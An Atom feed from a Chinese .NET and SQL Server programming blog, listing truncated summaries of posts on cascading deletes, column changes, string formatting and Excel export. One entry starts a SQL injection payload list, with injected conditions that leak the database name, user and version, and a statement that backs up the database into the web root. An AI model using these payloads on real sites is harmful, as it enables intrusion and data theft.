<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom"><title type="text">博客园_.NET钉子户</title><subtitle type="text">反复学习－实践－领会－再实践</subtitle><id>http://feed.cnblogs.com/blog/u/36402/rss</id><updated>2010-04-02T15:15:30Z</updated><author><name>.NET钉子户</name><uri>http://www.cnblogs.com/291099657/</uri></author><generator>feed.cnblogs.com</generator><link rel="alternate" type="text/html" href="http://www.cnblogs.com/291099657/"/><link rel="self" type="application/atom+xml" href="http://feed.cnblogs.com/blog/u/36402/rss"/><entry><id>http://www.cnblogs.com/291099657/archive/2010/04/02/1703467.html</id><title type="text">级联删除(ON DELETE CASCADE的用法)</title><summary type="text">在SQLServer 2000中，增加了一个NO ACTION/CASCADE的新约束，对于外键约束也进行了相应的修改。这样，我们就可以通过相应的设置来修改被参考表中的数据，同时与之有外键关系的表也自动进行相应的改动。我们通过以下很简单的例子说明这个问题。  我们建立两个表a和b，a和b的字段都一样，都是一个主键id和另外的一个字段，我们暂且定义为cnt。然后：  ALTER ...</summary><published>2010-04-02T15:15:00Z</published><updated>2010-04-02T15:15:00Z</updated><author><name>.NET钉子户</name><uri>http://www.cnblogs.com/291099657/</uri></author><link rel="alternate" href="http://www.cnblogs.com/291099657/archive/2010/04/02/1703467.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/291099657/archive/2010/04/02/1703467.html"/><content type="text">在SQLServer 2000中，增加了一个NO ACTION/CASCADE的新约束，对于外键约束也进行了相应的修改。这样，我们就可以通过相应的设置来修改被参考表中的数据，同时与之有外键关系的表也自动进行相应的改动。我们通过以下很简单的例子说明这个问题。  我们建立两个表a和b，a和b的字段都一样，都是一个主键id和另外的一个字段，我们暂且定义为cnt。然后：  ALTER ...</content></entry><entry><id>http://www.cnblogs.com/291099657/archive/2010/02/04/1663636.html</id><title type="text">sql修改表字段数据类型</title><summary type="text">--加 ALTER TABLE table2 ADD row_id bigint --删 ALTER TABLE table2 DROP COLUMN row_id --改 ALTER TABLE 你的表 ALTER COLUMN 列名 你的类型 null declare @a varchar(200) select @a=c.name from sys...</summary><published>2010-02-04T06:42:00Z</published><updated>2010-02-04T06:42:00Z</updated><author><name>.NET钉子户</name><uri>http://www.cnblogs.com/291099657/</uri></author><link rel="alternate" href="http://www.cnblogs.com/291099657/archive/2010/02/04/1663636.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/291099657/archive/2010/02/04/1663636.html"/><content type="text">--加 ALTER TABLE table2 ADD row_id bigint --删 ALTER TABLE table2 DROP COLUMN row_id --改 ALTER TABLE 你的表 ALTER COLUMN 列名 你的类型 null declare @a varchar(200) select @a=c.name from sys...</content></entry><entry><id>http://www.cnblogs.com/291099657/archive/2009/12/26/1632501.html</id><title type="text">子查询基础知识</title><summary type="text">msdn:ms-help://MS.SQLCC.v9/MS.SQLSVR.v9.zh-CHS/udb9/html/9c1d634c-fc9f-42e8-ae6f-20b350ef5c90.htmms-help://MS.SQLCC.v9/MS.SQLSVR.v9.zh-CHS/udb9/html/8c1de218-7f2c-424a-a24c-c831737ee59c.htmhttp://www....</summary><published>2009-12-25T17:40:00Z</published><updated>2009-12-25T17:40:00Z</updated><author><name>.NET钉子户</name><uri>http://www.cnblogs.com/291099657/</uri></author><link rel="alternate" href="http://www.cnblogs.com/291099657/archive/2009/12/26/1632501.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/291099657/archive/2009/12/26/1632501.html"/><content type="text">msdn:ms-help://MS.SQLCC.v9/MS.SQLSVR.v9.zh-CHS/udb9/html/9c1d634c-fc9f-42e8-ae6f-20b350ef5c90.htmms-help://MS.SQLCC.v9/MS.SQLSVR.v9.zh-CHS/udb9/html/8c1de218-7f2c-424a-a24c-c831737ee59c.htmhttp://www....</content></entry><entry><id>http://www.cnblogs.com/291099657/archive/2009/12/18/1626927.html</id><title type="text">天气预报的公用类</title><summary type="text">[代码]</summary><published>2009-12-18T02:24:00Z</published><updated>2009-12-18T02:24:00Z</updated><author><name>.NET钉子户</name><uri>http://www.cnblogs.com/291099657/</uri></author><link rel="alternate" href="http://www.cnblogs.com/291099657/archive/2009/12/18/1626927.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/291099657/archive/2009/12/18/1626927.html"/><content type="text">[代码]</content></entry><entry><id>http://www.cnblogs.com/291099657/archive/2009/12/07/1619008.html</id><title type="text">SQL注入语句 (很全)</title><summary type="text">1、返回的是连接的数据库名and db_name()&gt;02、作用是获取连接用户名and user&gt;03、将数据库备份到Web目录下面;backup database 数据库名 to disk='c:\inetpub\wwwroot\1.db';--4、显示SQL系统版本and 1=(select @@VERSION) 或and 1=convert(int,@@version)--5、判...</summary><published>2009-12-07T15:30:00Z</published><updated>2009-12-07T15:30:00Z</updated><author><name>.NET钉子户</name><uri>http://www.cnblogs.com/291099657/</uri></author><link rel="alternate" href="http://www.cnblogs.com/291099657/archive/2009/12/07/1619008.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/291099657/archive/2009/12/07/1619008.html"/><content type="text">1、返回的是连接的数据库名and db_name()&gt;02、作用是获取连接用户名and user&gt;03、将数据库备份到Web目录下面;backup database 数据库名 to disk='c:\inetpub\wwwroot\1.db';--4、显示SQL系统版本and 1=(select @@VERSION) 或and 1=convert(int,@@version)--5、判...</content></entry><entry><id>http://www.cnblogs.com/291099657/archive/2009/12/07/1618385.html</id><title type="text">String.Format</title><summary type="text">1.string.format格式之:日期代码 Code highlighting produced by Actipro CodeHighlighter (freeware)http://www.CodeHighlighter.com/--&gt;DateTimedt=DateTime.Now;Label1.Text=string.Format("{0:d}",dt);//2005-11-5Label...</summary><published>2009-12-07T02:08:00Z</published><updated>2009-12-07T02:08:00Z</updated><author><name>.NET钉子户</name><uri>http://www.cnblogs.com/291099657/</uri></author><link rel="alternate" href="http://www.cnblogs.com/291099657/archive/2009/12/07/1618385.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/291099657/archive/2009/12/07/1618385.html"/><content type="text">1.string.format格式之:日期代码 Code highlighting produced by Actipro CodeHighlighter (freeware)http://www.CodeHighlighter.com/--&gt;DateTimedt=DateTime.Now;Label1.Text=string.Format("{0:d}",dt);//2005-11-5Label...</content></entry><entry><id>http://www.cnblogs.com/291099657/archive/2009/12/05/1617803.html</id><title type="text">sql2005 若字段定义的类型为datetime,插入为''(空),那么会默认值为1900-01-01 00:00:00.000</title><summary type="text">sql2005 若字段定义的类型为datetime,插入为''(空),那么会默认值为1900-01-01 00:00:00.000 (运行:select cast('' as datetime) 产生:1900-01-01 00:00:00.000)解决:代码 Code highlighting produced by Actipro CodeHighlighter (freeware)http:...</summary><published>2009-12-05T14:59:00Z</published><updated>2009-12-05T14:59:00Z</updated><author><name>.NET钉子户</name><uri>http://www.cnblogs.com/291099657/</uri></author><link rel="alternate" href="http://www.cnblogs.com/291099657/archive/2009/12/05/1617803.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/291099657/archive/2009/12/05/1617803.html"/><content type="text">sql2005 若字段定义的类型为datetime,插入为''(空),那么会默认值为1900-01-01 00:00:00.000 (运行:select cast('' as datetime) 产生:1900-01-01 00:00:00.000)解决:代码 Code highlighting produced by Actipro CodeHighlighter (freeware)http:...</content></entry><entry><id>http://www.cnblogs.com/291099657/archive/2009/12/04/1617314.html</id><title type="text">打印</title><summary type="text">http://www.cnblogs.com/mushanbinzi/archive/2009/11/08/1598352.htmlhttp://www.cnblogs.com/wfnice12/archive/2009/01/02/1367003.htmlhttp://www.cnblogs.com/blsong/archive/2009/12/03/1616365.htmlhttp://www...</summary><published>2009-12-04T14:35:00Z</published><updated>2009-12-04T14:35:00Z</updated><author><name>.NET钉子户</name><uri>http://www.cnblogs.com/291099657/</uri></author><link rel="alternate" href="http://www.cnblogs.com/291099657/archive/2009/12/04/1617314.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/291099657/archive/2009/12/04/1617314.html"/><content type="text">http://www.cnblogs.com/mushanbinzi/archive/2009/11/08/1598352.htmlhttp://www.cnblogs.com/wfnice12/archive/2009/01/02/1367003.htmlhttp://www.cnblogs.com/blsong/archive/2009/12/03/1616365.htmlhttp://www...</content></entry><entry><id>http://www.cnblogs.com/291099657/archive/2009/12/04/1617313.html</id><title type="text">C#数据导出到Excel汇总</title><summary type="text">转自:http://www.javaeye.com/topic/103829要用到数据导出到Excel的方法，四处搜索，发现竹林bat800在CSDN上的这个文字比较全面，记录在这里。http://blog.csdn.net/bat800/archive/2007/07/17/1694537.aspx这是转载地址（这是作者的原文，Excel写成了Execl）一、asp.net中导出Execl的方法...</summary><published>2009-12-04T14:34:00Z</published><updated>2009-12-04T14:34:00Z</updated><author><name>.NET钉子户</name><uri>http://www.cnblogs.com/291099657/</uri></author><link rel="alternate" href="http://www.cnblogs.com/291099657/archive/2009/12/04/1617313.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/291099657/archive/2009/12/04/1617313.html"/><content type="text">转自:http://www.javaeye.com/topic/103829要用到数据导出到Excel的方法，四处搜索，发现竹林bat800在CSDN上的这个文字比较全面，记录在这里。http://blog.csdn.net/bat800/archive/2007/07/17/1694537.aspx这是转载地址（这是作者的原文，Excel写成了Execl）一、asp.net中导出Execl的方法...</content></entry><entry><id>http://www.cnblogs.com/291099657/archive/2009/12/03/1616200.html</id><title type="text">在Sql语句中使用正则表达式来查找你所要的字符 及调试问题</title><summary type="text">转载请注明出处［http://samlin.cnblogs.com/］ 这几天有个项目需要从表的某个字段判断是否存在某些规则的字符串，大概如下：有个表叫TaskDeploy(任务部署的)，其中字段Participants以格式 用户名,用户名 具体如下：[代码]好了，现在我要查找有指派给 'samlin'用户的任务记录怎么办？我首先想到的是正则表达式，但Sql提供的功能真是少啊就是一个 like ...</summary><published>2009-12-03T06:27:00Z</published><updated>2009-12-03T06:27:00Z</updated><author><name>.NET钉子户</name><uri>http://www.cnblogs.com/291099657/</uri></author><link rel="alternate" href="http://www.cnblogs.com/291099657/archive/2009/12/03/1616200.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/291099657/archive/2009/12/03/1616200.html"/><content type="text">转载请注明出处［http://samlin.cnblogs.com/］ 这几天有个项目需要从表的某个字段判断是否存在某些规则的字符串，大概如下：有个表叫TaskDeploy(任务部署的)，其中字段Participants以格式 用户名,用户名 具体如下：[代码]好了，现在我要查找有指派给 'samlin'用户的任务记录怎么办？我首先想到的是正则表达式，但Sql提供的功能真是少啊就是一个 like ...</content></entry></feed>
